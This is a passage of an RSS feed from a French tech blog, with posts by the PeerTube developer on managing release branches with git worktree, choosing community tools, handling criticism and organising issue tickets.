<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Chocoblog]]></title><description><![CDATA[Billets sur l'informatique, les logiciels libres et retours d'utilisation sont au programme avec la possibilité de publier des billets de copains.]]></description><link>https://blog.cpy.re/</link><image><url>https://blog.cpy.re/favicon.png</url><title>Chocoblog</title><link>https://blog.cpy.re/</link></image><generator>Ghost 5.47</generator><lastBuildDate>Sat, 18 Apr 2026 12:47:58 GMT</lastBuildDate><atom:link href="https://blog.cpy.re/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[PeerTube - Partie 5 : gérer le code des releases en parallèle]]></title><description><![CDATA[<p><em>Pour rappel, <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est une application web, s&apos;installe sur un serveur et tourne via NodeJS. Voir le <strong><a href="https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire">sommaire</a></strong> pour plus d&apos;informations.</em></p><h2 id="branches-git">Branches git</h2><p>Pour les besoins du projet nous avons fait le choix d&apos;utiliser une branche git <code>develop</code> pour le travail en cours et</p>]]></description><link>https://blog.cpy.re/peertube-partie-5-gerer-le-code-des-releases-en-parallele/</link><guid isPermaLink="false">62b5730da256b698824d870f</guid><category><![CDATA[peertube]]></category><category><![CDATA[dev]]></category><category><![CDATA[git]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Sun, 21 May 2023 09:21:19 GMT</pubDate><content:encoded><![CDATA[<p><em>Pour rappel, <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est une application web, s&apos;installe sur un serveur et tourne via NodeJS. Voir le <strong><a href="https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire">sommaire</a></strong> pour plus d&apos;informations.</em></p><h2 id="branches-git">Branches git</h2><p>Pour les besoins du projet nous avons fait le choix d&apos;utiliser une branche git <code>develop</code> pour le travail en cours et d&apos;une branche <code>release/x.x.x</code> pour g&#xE9;rer le code de la derni&#xE8;re release. Lorsqu&apos;il faut corriger un bug important de la derni&#xE8;re release, on commit sur <code>release/x.x.x</code> puis on merge les modifications sur <code>develop</code>. De cette mani&#xE8;re <code>develop</code> est toujours en avance sur la branche de release et les deux branches ne divergent pas. Ceci simplifie la gestion des diff&#xE9;rentes bases de code.</p><h2 id="changer-de-branche-cest-lourd">Changer de branche, c&apos;est lourd</h2><p>PeerTube c&apos;est du TypeScript et donc du JavaScript. Nous utilisons alors beaucoup de modules venant de NPM pour les besoins du serveur et pour compiler le client qui est une application web Angular. &#xC0; chaque fois qu&apos;il faut changer de branche il faut donc r&#xE9;installer tous les modules et potentiellement recompiler le projet ce qui prend du temps.</p><p>Ce n&apos;est pas trop g&#xEA;nant lorsqu&apos;on d&#xE9;veloppe des petites fonctionnalit&#xE9;s sur une branche d&#xE9;di&#xE9;e, car la majorit&#xE9; du temps on ne change pas les versions des modules utilis&#xE9;s par PeerTube.</p><p>C&apos;est par contre une autre mayonnaise lorsqu&apos;il faut g&#xE9;rer la branche <code>develop</code> et la branche de la derni&#xE8;re release : tr&#xE8;s souvent les modules ont chang&#xE9; ou ont &#xE9;t&#xE9; mis &#xE0; jour sur la branche <code>develop</code>, alors qu&apos;ils sont <em>freez&#xE9;</em> sur la branche de release. Or il nous faut souvent naviguer entre <code>develop</code> et <code>release/x.x.x</code> pour seulement quelques minutes afin de corriger un petit bug. Le processus ressemble &#xE0; &#xE7;a :</p><ul><li>Changer de branche : <code>git checkout release/x.x.x</code></li><li>R&#xE9;installer les modules avec <code>rm -r node_modules client/node_modules &amp;&amp; yarn install --pure-lockfile</code></li><li>Relancer la compilation via <code>npm run build</code> ou <code>npm run dev</code> selon le bug &#xE0; corriger</li><li>Corriger le bug</li><li>Commiter et pusher la branche <code>git commit ... &amp;&amp; git push</code></li><li>Repasser sur <code>develop</code>, r&#xE9;installer les node modules, recompiler (je passe les commandes...)</li><li>Merger <code>release/x.x.x</code> sur <code>develop</code> et pusher</li></ul><p>Bref beaucoup d&apos;&#xE9;tapes, certaines qui peuvent &#xEA;tre longues et fastidieuses. </p><h2 id="git-%C3%A0-la-rescousse">Git &#xE0; la rescousse</h2><p>Il serait donc int&#xE9;ressant d&apos;optimiser ce process, en utilisant 2 dossier d&#xE9;di&#xE9;s qui contiendraient pour l&apos;un la branche <code>develop</code> et pour l&apos;autre la branche de la derni&#xE8;re release, avec <strong>leur</strong> <code>node_modules/</code> et <strong>leur</strong> fichiers compil&#xE9;s.</p><p>On peut imaginer cloner 2 fois PeerTube dans des dossiers s&#xE9;par&#xE9;s. La soucis de cette m&#xE9;thode c&apos;est de potentielles incoh&#xE9;rences car les deux dossiers seraient compl&#xE8;tement ind&#xE9;pendants. Il faudrait aussi &#xE0; chaque fois pusher les modifications pour pouvoir les rapatrier dans l&apos;un ou l&apos;autre dossier.</p><p>Pour avoir les avantages des deux dossiers clon&#xE9;s mais sans leur inconv&#xE9;nients, git fournit la commande <a href="https://git-scm.com/docs/git-worktree?ref=blog.cpy.re">git worktree</a>. Elle va nous permettre de cr&#xE9;er un nouveau dossier/workspace &#xE0; partir de notre dossier git courant. On aura donc <code>Code/PeerTube</code> qui est notre dossier git principal, et <code>Code/PeerTube-release</code> bas&#xE9; sur le git de <code>Code/PeerTube</code>, mais qui sera sur une branche <strong>diff&#xE9;rente</strong> de <code>Code/PeerTube</code>, et qui aura ses propres fichiers non suivis par git (<code>node_modules/</code>, fichiers compil&#xE9;s etc). Voici l&apos;exemple avec PeerTube :</p><pre><code>$ cd /Coding/NodeJS/PeerTube
$ git worktree add release/4.2.0 ../PeerTube-release
$ git worktree list --verbose
/Coding/NodeJS/PeerTube              4e56f0fff [develop]
/Coding/NodeJS/PeerTube-release  c3fb12b31 [release/4.2.0]</code></pre><p>Le gros avantage de cette m&#xE9;thode, c&apos;est que les deux dossiers partagent le m&#xEA;me <code>.git</code>. De ce fait, les commits r&#xE9;alis&#xE9;s dans un des dossiers sera directement visible dans l&apos;autre. On peut donc merger <code>release/x.x.x</code> (de <code>Code/PeerTube-release/</code>) dans <code>develop</code>(<code>Code/PeerTube</code>) sans avoir besoin de pusher sur la remote. Git interdit aussi que les deux dossiers soient sur la m&#xEA;me branche, ce qui &#xE9;vite des conflits &#xE9;ventuels.</p><p>Ce syst&#xE8;me permet tellement de simplifier le d&#xE9;veloppement de branches en parall&#xE8;le qu&apos;on l&apos;utilise aussi lorsqu&apos;on a de grosses fonctionnalit&#xE9;s &#xE0; developper.</p>]]></content:encoded></item><item><title><![CDATA[PeerTube - Partie 4 : les outils communautaires]]></title><description><![CDATA[<p><em>Pour rappel, <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est une application web, s&apos;installe sur un serveur et tourne via NodeJS. Voir le <strong><a href="https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire">sommaire</a></strong> pour plus d&apos;informations.</em></p><p>Afin de g&#xE9;rer la communication avec la communaut&#xE9;, il faut choisir un certains nombre d&apos;outils : tchat ? forum ? documentation externe ? Avec</p>]]></description><link>https://blog.cpy.re/peertube-partie-4-les-outils-communautaires/</link><guid isPermaLink="false">5e9b12c1b3d6d152aaf66f34</guid><category><![CDATA[peertube]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Thu, 18 May 2023 07:39:13 GMT</pubDate><content:encoded><![CDATA[<p><em>Pour rappel, <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est une application web, s&apos;installe sur un serveur et tourne via NodeJS. Voir le <strong><a href="https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire">sommaire</a></strong> pour plus d&apos;informations.</em></p><p>Afin de g&#xE9;rer la communication avec la communaut&#xE9;, il faut choisir un certains nombre d&apos;outils : tchat ? forum ? documentation externe ? Avec PeerTube, nous avons fait les choix suivants.</p><h2 id="github-pour-le-gestionnaire-de-tickets">GitHub pour le gestionnaire de tickets</h2><p>Il faut garder une trace des bugs remont&#xE9;s et des discussions d&apos;am&#xE9;liorations. Avec PeerTube on utilise les issues GitHub, mais d&apos;autres outils peuvent faire l&apos;affaire. <a href="https://blog.cpy.re/peertube-partie-2-la-gestion-des-tickets/">Un article</a> a d&#xE9;j&#xE0; &#xE9;t&#xE9; consacr&#xE9; sur la gestion des tickets dans PeerTube, donc je ne vais pas plus m&apos;&#xE9;taler.</p><h2 id="un-forum-pour-des-changes-accessibles">Un forum pour des &#xE9;changes accessibles</h2><p>Le gestionnaire de tickets est assez peu utilis&#xE9; par les utilisateurs classiques de PeerTube (visionneurs/vid&#xE9;astes) car beaucoup ne connaissent pas GitHub, ne comprennent pas son utilit&#xE9; ou n&apos;ont pas envie de se cr&#xE9;er un compte sur la plateforme.</p><p>En revanche, un forum parle au plus grand nombre. C&apos;est pourquoi nous avons cr&#xE9;&#xE9; une section dans le forum de Framasoft : <a href="https://framacolibri.org/c/peertube?ref=blog.cpy.re">https://framacolibri.org/c/peertube</a> (il s&apos;agit d&apos;un <a href="https://www.discourse.org/?ref=blog.cpy.re">Discourse</a>). Les sujets sont divers et vari&#xE9;s : il peuvent concerner l&apos;utilisation du logiciel ou son administration. Il nous arrive aussi d&apos;expliquer certains choix ou d&apos;aider sur des probl&#xE8;mes sp&#xE9;cifiques. Si le sujet est une proposition d&apos;une nouvelle fonctionnalit&#xE9; ou une remont&#xE9;e de bug, nous redirigeons la personne sur GitHub. &#xC0; l&apos;oppos&#xE9;, si on juge qu&apos;une demande sur GitHub rel&#xE8;ve plus du support ou de la question, on redirige sur le forum. &#xC7;a nous permet de contenir le nombre d&apos;issues ouvertes sur GitHub qui sont vraiment des demandes pr&#xE9;cises ou des discussions techniques sur une &#xE9;volution de PeerTube.</p><p>Sans forum, il est vraiment difficile de maintenir une communication avec les utilisateurs d&apos;un logiciel grand public. Et m&#xEA;me avec, on a au final assez peu de retours. Il peut alors &#xEA;tre int&#xE9;ressant de faire quelques fois un tour sur les m&#xE9;dias sociaux pour savoir ce qui se dit sur l&apos;application. En prenant du recul hein, parce que &#xE7;a peut &#xEA;tre saignant ;).</p><h2 id="tchat-pour-les-changes-rapides">Tchat pour les &#xE9;changes rapides</h2><p>Nous utilisons IRC (#peertube sur irc.libera.chat) pour des raisons historiques. Nous avons ensuite branch&#xE9; un bridge Matrix, permettant d&apos;agrandir le nombre de personnes susceptibles de rejoindre le salon.</p><p>J&apos;ai toujours aim&#xE9; IRC, parce qu&apos;il ne notifie pas et qu&apos;il n&apos;y a pas de m&#xE9;canisme qui nous incite &#xE0; regarder tout ce qu&apos;il s&apos;y passe. Si on est l&#xE0; c&apos;est tant mieux, sinon tant pis. &#xC7;a diminue fortement notre charge mentale. Par contre, il faut avouer que les salons IRC des logiciels sont souvent peu anim&#xE9;s. Ce qui n&apos;est pas un mal en soit : ce sont vraiment pour des &#xE9;changes relativement brefs qui n&apos;ont pas d&apos;int&#xE9;r&#xEA;ts &#xE0; &#xEA;tre gard&#xE9;s en m&#xE9;moire. Sinon, il vaut mieux passer par le forum ou le gestionnaire de tickets afin de garder une trace.</p><h2 id="site-de-documentation">Site de documentation</h2><p>Au tout d&#xE9;but, on utilisait des fichiers markdown dans le git de PeerTube pour documenter certaines parties du logiciel (installation, gestion etc). Le README servait en quelque sorte de sommaire. Cette fa&#xE7;on de faire est simple, et plut&#xF4;t efficace (documentation dans le d&#xE9;p&#xF4;t du code donc on pense &#xE0; la mettre &#xE0; jour) mais montre rapidement ses limites lorsque le projet grossit. </p><p>En effet, au bout d&apos;un moment il faut documenter certaines parties tr&#xE8;s pr&#xE9;cises du logiciel, donner des explications aux utilisateurs, faire l&apos;inventaire des outils en CLI disponibles etc. Un site externe de documentation avec un sommaire et qui soit indexable par Google nous a paru &#xEA;tre le meilleur choix pour organiser tout &#xE7;a.</p><p>Nous avons au d&#xE9;part d&#xE9;cid&#xE9; d&apos;utiliser <a href="https://docsify.js.org/?ref=blog.cpy.re">docsify</a> <a href="https://docs.joinpeertube.org/?ref=blog.cpy.re#/">q</a>ui utilise le JavaScript du navigateur pour interpr&#xE9;ter dynamiquement le markdown de chaque page. &#xC7;a nous a permis de laisser certaines pages de notre documentation historique (notamment la proc&#xE9;dure d&apos;installation de PeerTube) dans le d&#xE9;p&#xF4;t git, et de demander &#xE0; docsify d&apos;aller chercher sur GitHub le markdown &#xE0; afficher. Par contre les pages &#xE9;taient plus difficilement indexables par les moteurs de recherche, et les miniatures des liens ne fonctionnaient pas sur les r&#xE9;seaux sociaux.</p><p>Nous avons donc fait le choix de migrer le site de documentation vers <a href="https://vitepress.dev/?ref=blog.cpy.re">vitepress</a> qui permet de g&#xE9;n&#xE9;rer facilement un site de documentation optimis&#xE9; &#xE0; partir de markdown : <a href="https://docs.joinpeertube.org/?ref=blog.cpy.re">https://docs.joinpeertube.org/</a>. De cette mani&#xE8;re nous avons une bien meilleure indexation et les liens partag&#xE9;s ont une <em>preview card</em> sur les r&#xE9;seaux sociaux avec le bon titre et la bonne description. En outre le site est beaucoup plus rapide &#xE0; charger pour l&apos;utilisateur. La documentation encore pr&#xE9;sente dans le d&#xE9;p&#xF4;t git de PeerTube sous forme de fichier markdown est automatiquement r&#xE9;cup&#xE9;r&#xE9;e chaque nuit, puis le site recompil&#xE9;.</p><p>Il me semble que nous avons fait une erreur au d&#xE9;but du projet de choisir Docsify, car l&apos;un des points majeur d&apos;un site de documentation est d&apos;&#xEA;tre correctement index&#xE9;e et d&#xE9;couvrable par les moteurs de recherche. La plupart du temps, on pose d&apos;abord la question &#xE0; Google (&quot;uploader une vid&#xE9;o sur peertube&quot;, &quot;peertube stats vid&#xE9;os&quot; etc) pour trouver rapidement la r&#xE9;ponse sans forc&#xE9;ment aller directement sur le site de documentation pour trouver l&apos;information &#xE0; partir de son menu ou de sa barre de recherche.</p><h2 id="un-site-officiel">Un site officiel</h2><p>Le site officiel de PeerTube se trouve sur <a href="https://joinpeertube.org/?ref=blog.cpy.re">https://joinpeertube.org/</a>. Il permet d&apos;expliquer le but du projet et de rediriger les utilisateurs vers l&apos;outil dont ils ont besoin (documentation, tchat, forum, FAQ etc).</p><p>L&apos;autre int&#xE9;r&#xEA;t principal du site officiel est de cr&#xE9;er une sorte de &quot;marque&quot;. De fa&#xE7;on &#xE0; ce que si quelqu&apos;un tape le mot &quot;PeerTube&quot; dans son moteur de recherche, il puisse facilement trouver ce site. Sans &#xE7;a, on pourrait se retrouver avec des utilisateurs tombant sur le projet GitHub peu adapt&#xE9; aux utilisateurs non techniques, ou carr&#xE9;ment sur une instance PeerTube non g&#xE9;r&#xE9;e par Framasoft embrouillant les utilisateurs qui ne comprennent pas tout le temps les aspects d&#xE9;centralisation/f&#xE9;d&#xE9;ration du logiciel.</p><p>Voyons de mani&#xE8;re plus d&#xE9;taill&#xE9;e les modules que nous avons ajout&#xE9; &#xE0; notre site officiel, mais qui peuvent tr&#xE8;s bien se situer sur des sites externes.</p><h3 id="la-faq">La FAQ</h3><p>On se rend vite compte qu&apos;on r&#xE9;pond souvent aux m&#xEA;mes questions, sur des plateformes diff&#xE9;rentes (Twitter, GitHub, Mastodon, sur le forum etc). La FAQ est un bon moyen pour prendre le temps de cr&#xE9;er une r&#xE9;ponse argument&#xE9;e et correctement mise en forme pour un certain type de question. </p><p>Par exemple avec PeerTube, nous avons une position tr&#xE8;s claire sur la r&#xE9;mun&#xE9;ration, et la FAQ nous permet de l&apos;&#xE9;claircir : <a href="https://joinpeertube.org/faq?ref=blog.cpy.re#what-is-peertube-s-policy-about-content-monetization">https://joinpeertube.org/faq#what-is-peertube-s-policy-about-content-monetization</a></p><p>Outre le gain de temps lorsque nous mettons juste le lien vers la FAQ pour r&#xE9;pondre aux questions les plus courantes, &#xE7;a donne aussi la possibilit&#xE9; &#xE0; d&apos;autres personnes de la communaut&#xE9; de s&apos;&#xE9;changer cette m&#xEA;me r&#xE9;ponse, qui reste donc fid&#xE8;le &#xE0; notre pens&#xE9;e. Et surtout les moteurs de recherche peuvent indexer cette page pour fournir directement la r&#xE9;ponse aux utilisateurs lorsqu&apos;ils demandent &#xE0; Google <a href="https://joinpeertube.org/faq?ref=blog.cpy.re#should-i-have-a-big-server-to-run-peertube">s&apos;il faut un gros serveur pour faire tourner PeerTube</a>.</p><h3 id="le-blog">Le blog</h3><p>Le blog nous permet d&apos;&#xE9;crire des billets d&apos;actualit&#xE9; &#xE0; chaque release afin d&apos;expliquer de mani&#xE8;re simple ce qu&apos;elle apporte. On l&apos;utilise aussi pour faire quelques annonces, comme par exemple ce qu&apos;on pr&#xE9;voit de faire pour l&apos;ann&#xE9;e en cours. Le blog est un outil de communication important qui rappelle aux gens qui peuvent suivre le projet de loin qu&apos;il continue d&apos;&#xE9;voluer. Les liens des billets de blog peuvent ensuite &#xEA;tre partag&#xE9;s sur les r&#xE9;seaux sociaux ce qui cr&#xE9;e une petite &#xE9;mulsion et participe &#xE0; faire connaitre le projet au plus grand nombre.</p><p>Et pour que ces actualit&#xE9;s puissent toucher le maximum de personnes, elles sont aussi diffus&#xE9;es via une newsletter et disponibles dans un flux RSS.</p><h2 id="un-outil-de-vote-de-fonctionnalit-s">Un outil de vote de fonctionnalit&#xE9;s</h2><p>Une des difficult&#xE9;s &#xE0; d&#xE9;velopper un logiciel libre utilis&#xE9; par des sysadmins qui auront leur propre utilisateurs, c&apos;est qu&apos;on a du mal &#xE0; avoir un lien avec ces fameux utilisateurs finaux. C&apos;est pourquoi nous avons beaucoup de demandes techniques sur le GitHub, qui ne nous paraissent pas forc&#xE9;ment refl&#xE9;ter les volont&#xE9;s des vid&#xE9;astes et visionneurs de PeerTube.</p><p>Il nous a donc fallu trouver un moyen d&apos;&#xE9;changer avec ces <em>end users</em> de mani&#xE8;re simple et efficace afin de conna&#xEE;tre leurs attentes. C&apos;est pourquoi nous avons lanc&#xE9; un site o&#xF9; n&apos;importe qui peut proposer et voter pour des fonctionnalit&#xE9;s qu&apos;il ou elle juge pertinente : <a href="https://ideas.joinpeertube.org/?ref=blog.cpy.re">https://ideas.joinpeertube.org/</a>. </p><p>L&apos;interface est beaucoup plus simple que GitHub ou un forum, et le site ne demande simplement qu&apos;une adresse email pour proposer ou voter pour une fonctionnalit&#xE9;. Pas besoin de cr&#xE9;er un compte via un formulaire complexe ce qui rend la t&#xE2;che beaucoup plus ais&#xE9;e et inclusive.</p><p>C&apos;est donc en consultant les tickets les plus pl&#xE9;biscit&#xE9;s sur <a href="https://ideas.joinpeertube.org/?ref=blog.cpy.re">ideas.joinpeertube.org</a>, en plus des <a href="https://github.com/Chocobozzz/PeerTube/issues?ref=blog.cpy.re">issues GitHub</a>, que nous cr&#xE9;ons les feuilles de route de PeerTube.</p>]]></content:encoded></item><item><title><![CDATA[PeerTube - Partie 3 : garder le cap]]></title><description><![CDATA[<p><em>Pour rappel, <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est une application web, s&apos;installe sur un serveur et tourne via NodeJS. Voir le <strong><a href="https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire">sommaire</a></strong> pour plus d&apos;informations.</em></p><p>On ne va pas se le cacher : il y a toujours un moment o&#xF9; on regrette l&apos;&#xE9;poque o&#xF9; on travaillait</p>]]></description><link>https://blog.cpy.re/peertube-partie-3-garder-le-cap/</link><guid isPermaLink="false">5e9b0798b3d6d152aaf66e49</guid><category><![CDATA[peertube]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Tue, 16 May 2023 15:20:13 GMT</pubDate><content:encoded><![CDATA[<p><em>Pour rappel, <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est une application web, s&apos;installe sur un serveur et tourne via NodeJS. Voir le <strong><a href="https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire">sommaire</a></strong> pour plus d&apos;informations.</em></p><p>On ne va pas se le cacher : il y a toujours un moment o&#xF9; on regrette l&apos;&#xE9;poque o&#xF9; on travaillait tranquillement sur son projet, en faisant sa tambouille dans son coin. Une fois que le projet grandit et qu&apos;il devient connu, on doit faire face aux critiques, aux jugements, aux phrases du type &quot;je ne comprends pas pourquoi telle ou telle fonctionnalit&#xE9; n&apos;est pas encore impl&#xE9;ment&#xE9;&quot; etc. Toute la difficult&#xE9; r&#xE9;side dans le fait de trouver un juste au milieu entre se remettre en question et garder le cap qu&apos;on s&apos;est fix&#xE9;.</p><h2 id="c-est-un-pic-non-c-est-un-cap">C&apos;est un pic ? Non c&apos;est un cap</h2><p>Il est tr&#xE8;s important de se fixer un objectif &#xE0; long terme, afin d&apos;avoir de la coh&#xE9;rence dans les choix qu&apos;on fait en d&#xE9;veloppant un logiciel. Par exemple avec PeerTube, Framasoft cr&#xE9;e chaque ann&#xE9;e une feuille de route sur laquelle on communique et qui nous donne une vision du type de plateforme qu&apos;on esp&#xE8;re avoir au mois de d&#xE9;cembre.</p><p>Cette feuille de route aide les utilisateurs &#xE0; comprendre la port&#xE9;e du logiciel, et permet aux d&#xE9;veloppeurs de ne pas s&apos;&#xE9;loigner du chemin fix&#xE9;. Il me para&#xEE;t important de cr&#xE9;er une application qui fait au d&#xE9;but une seule chose, mais qui essaye de la faire correctement.</p><p>Par exemple avec PeerTube, parce qu&apos;on utilise le P2P pour soulager la bande passante du serveur on se retrouve quelques fois avec des demandes s&apos;apparentant &#xE0; un logiciel pour seedbox. Or, nous faisons un logiciel de streaming vid&#xE9;o. Que PeerTube continue de seeder un torrent apr&#xE8;s import n&apos;est pas notre objectif. D&apos;avoir un player qui tienne la route si.</p><p>Il arrive quelques fois qu&apos;un contributeur cr&#xE9;e une fonctionnalit&#xE9; via une PR/MR dont on peut avoir du mal &#xE0; voir l&apos;int&#xE9;r&#xEA;t. Il faut pouvoir accepter ce genre de contribution, car nous ne sommes pas les seuls utilisateurs du logiciel : ce qu&apos;on juge peu pertinent, peut l&apos;&#xEA;tre pour une majorit&#xE9; des utilisateurs. N&#xE9;anmoins une PR/MR est un don de code, vous h&#xE9;ritez donc de sa maintenance (correction de bugs futurs, am&#xE9;lioration de l&apos;UX, documentation etc). Nous sommes alors en droit de refuser un code que nous jugeons peu acceptable (mal cod&#xE9;, alambiqu&#xE9;, fonctionnalit&#xE9; trop sp&#xE9;cifique qui alourdit l&apos;interface etc).</p><p>Il est compliqu&#xE9; de savoir o&#xF9; tracer la limite entre accepter n&apos;importe quel code, et &#xEA;tre un d&#xE9;veloppeur autoritaire qui refuse toute contribution externe. Encore une fois, la feuille de route peut aider &#xE0; ajuster cette limite.</p><h2 id="l-art-d-accepter-les-critiques">L&apos;art d&apos;accepter les critiques</h2><p>Un cap n&apos;est cependant pas une roadmap. Il faut accepter la critique, et pouvoir la r&#xE9;adapter selon les discussions. On fait souvent un logiciel libre <strong>pour</strong> les utilisateurs. Si beaucoup jugent une nouvelle fonctionnalit&#xE9; importante, il est peut-&#xEA;tre pertinent de r&#xE9;adapter un petit peu la feuille de route fix&#xE9;e. Il est cependant anormal de la changer trop souvent. Si c&apos;est le cas, peut-&#xEA;tre que le cap n&apos;&#xE9;tait pas le bon. Ou peut-&#xEA;tre qu&apos;il y a un soucis de compr&#xE9;hension avec les utilisateurs, et dans ce cas c&apos;est un probl&#xE8;me de communication.</p><p>Avec PeerTube, beaucoup de personnes s&apos;attendent &#xE0; ce qu&apos;on fasse comme Youtube et qu&apos;on se dote d&apos;un syst&#xE8;me de mon&#xE9;tisation. Toute la difficult&#xE9; r&#xE9;side dans le fait d&apos;expliquer que nous n&apos;impl&#xE9;menterons pas ce genre de fonctionnalit&#xE9;, et surtout faire comprendre pourquoi.</p><h2 id="garder-son-sang-froid">Garder son sang froid</h2><p>Sur Internet, les critiques peuvent &#xEA;tre acerbes. Souvent, par des personnes mal inform&#xE9;es qui n&apos;auront pas regard&#xE9; le projet de pr&#xE8;s. Certaines remarques seront des plaintes, d&apos;autres carr&#xE9;ment des insultes. Il est important de garder son sang-froid en toute circonstance. Souvent, il vaut mieux passer outre (la bave du crapaud etc). Mais il peut &#xEA;tre important de mettre le hol&#xE0; &#xE0; certaines critiques r&#xE9;p&#xE9;t&#xE9;es (la FAQ du projet est utile dans ces cas l&#xE0;).</p><p>Au del&#xE0; des critiques, certaines personnes vous expliqueront qu&apos;une fonctionnalit&#xE9; pr&#xE9;cise de votre logiciel est primordiale, et que vous devez travailler dessus &quot;ASAP&quot;. D&apos;autres trouveront carr&#xE9;ment que vous &#xEA;tre un cr&#xE9;tin irresponsable de ne pas l&apos;avoir d&#xE9;j&#xE0; impl&#xE9;ment&#xE9;e. L&#xE0; encore, il faut garder son sang froid et expliquer en &#xE9;tant ferme que vous fournissez gratuitement un logiciel libre, et que les utilisateurs de votre projet ne sont pas vos clients.</p><h2 id="ne-pas-se-faire-d-border-par-les-attentes">Ne pas se faire d&#xE9;border par les attentes</h2><p>Ces nombreuses attentes, commentaires et demandes quelques fois pressantes rajoutent une charge mentale bien souvent p&#xE9;nible, qui peut disperser. C&apos;est pour cette raison que le cap est important. Pour ma part, &#xE7;a me permet de voir o&#xF9; on en est, o&#xF9; on veut aller, et quel chemin on a parcouru.</p><p>Il reste important de consulter et trier les issues, mais il faut peut-&#xEA;tre s&apos;organiser afin de ne pas les regarder trop souvent. Lorsqu&apos;on fait un logiciel communautaire (sans contrat support), rien n&apos;est vraiment &quot;urgent&quot;. Il ne faut pas c&#xE9;der &#xE0; l&apos;impatience de certains : il suffit de prendre un peu de recul, ne pas h&#xE9;siter &#xE0; mettre le nez dehors pour se rendre compte que si le player vid&#xE9;o ne fonctionne pas sur tel ou tel navigateur &#xE0; cause d&apos;un bug, ben c&apos;est pas grave. On prendra le temps de le corriger.</p><p>Aller voir ce qui se dit concernant le logiciel sur les r&#xE9;seaux sociaux peut-&#xEA;tre enrichissant, mais aussi frustrant.. Ne pas h&#xE9;siter &#xE0; ignorer ces plateformes pour se prot&#xE9;ger, m&#xEA;me s&apos;il faut avouer qu&apos;on trouve aussi des commentaires pertinents (remont&#xE9;es de bugs ou am&#xE9;liorations) de personnes qui n&apos;iraient pas forc&#xE9;ment sur votre gestionnaire de tickets ou forum.</p>]]></content:encoded></item><item><title><![CDATA[PeerTube - Partie 2 : la gestion des tickets]]></title><description><![CDATA[<p><em>Pour rappel, <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est une application web, s&apos;installe sur un serveur et tourne via NodeJS. Voir le <strong><a href="https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire">sommaire</a></strong> pour plus d&apos;informations.</em></p><p>Une fois la m&#xE9;thode de release choisie et le logiciel diffus&#xE9;, le projet commence &#xE0; prendre de l&apos;ampleur et on</p>]]></description><link>https://blog.cpy.re/peertube-partie-2-la-gestion-des-tickets/</link><guid isPermaLink="false">5e92c73cb3d6d152aaf66ccf</guid><category><![CDATA[peertube]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Sun, 07 May 2023 07:21:41 GMT</pubDate><content:encoded><![CDATA[<p><em>Pour rappel, <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est une application web, s&apos;installe sur un serveur et tourne via NodeJS. Voir le <strong><a href="https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire">sommaire</a></strong> pour plus d&apos;informations.</em></p><p>Une fois la m&#xE9;thode de release choisie et le logiciel diffus&#xE9;, le projet commence &#xE0; prendre de l&apos;ampleur et on re&#xE7;oit de plus en plus de tickets. Il est temps d&apos;organiser tout &#xE7;a. Voici comment on s&apos;y est pris avec PeerTube.</p><h2 id="utiliser-un-template-d-issue">Utiliser un template d&apos;issue</h2><p>Nous utilisons un template d&apos;issue, encourageant les personnes qui cr&#xE9;ent des tickets &#xE0; l&apos;utiliser. &#xC7;a permet d&apos;&#xE9;viter de poser 20 fois les m&#xEA;mes questions (&quot;Quelle est la version de NodeJS ?&quot;) et surtout d&apos;acc&#xE9;l&#xE9;rer les &#xE9;changes (asynchrones, donc une r&#xE9;ponse en plus peut prendre plusieurs jours).</p><p>Par exemple avec les bugs, on utilise le sch&#xE9;ma suivant :</p><ul><li>Que s&apos;est il pass&#xE9; ?</li><li>Qu&apos;est ce qu&apos;il aurait d&#xFB; se passer &#xE0; la place ?</li><li>Comment reproduire ?</li><li>Informations compl&#xE9;mentaires (versions des logiciels, logs du serveur ou du navigateur...)</li></ul><p>G&#xE9;n&#xE9;ralement, si les informations sont correctement renseign&#xE9;es, on comprend directement si c&apos;est un bug ou non, o&#xF9; il se situe et ce qui a pu l&apos;amener. Attention cependant &#xE0; ne pas abuser de questions dans le template, pouvant d&#xE9;courager les utilisateurs &#xE0; reporter des bugs.</p><p>Le template peut aussi servir pour indiquer aux personnes de lire la FAQ avant de cr&#xE9;er leur issue, ou d&apos;avertir de ne pas utiliser le syst&#xE8;me de tickets pour remonter des probl&#xE8;mes de s&#xE9;curit&#xE9; (qui doivent passer par un canal s&#xE9;par&#xE9; et non public).</p><p>Nous avons aussi un template pour les demandes de fonctionnalit&#xE9;s, pour encourager les utilisateurs &#xE0; structurer leur pens&#xE9;e :</p><ul><li>D&#xE9;crivez le probl&#xE8;me &#xE0; r&#xE9;soudre</li><li>D&#xE9;crivez la solution que vous aimeriez</li><li>D&#xE9;crivez les alternatives que vous avez envisag&#xE9;</li></ul><h2 id="les-labels">Les labels</h2><p>On a choisi de les organiser en 4 th&#xE8;mes :</p><ul><li>Le composant associ&#xE9; &#xE0; l&apos;issue : cha&#xEE;nes vid&#xE9;os, mod&#xE9;ration, player etc</li><li>Le type de l&apos;issue : am&#xE9;lioration, bug, discussion, question...</li><li>Son statut : &#xE0; reproduire, 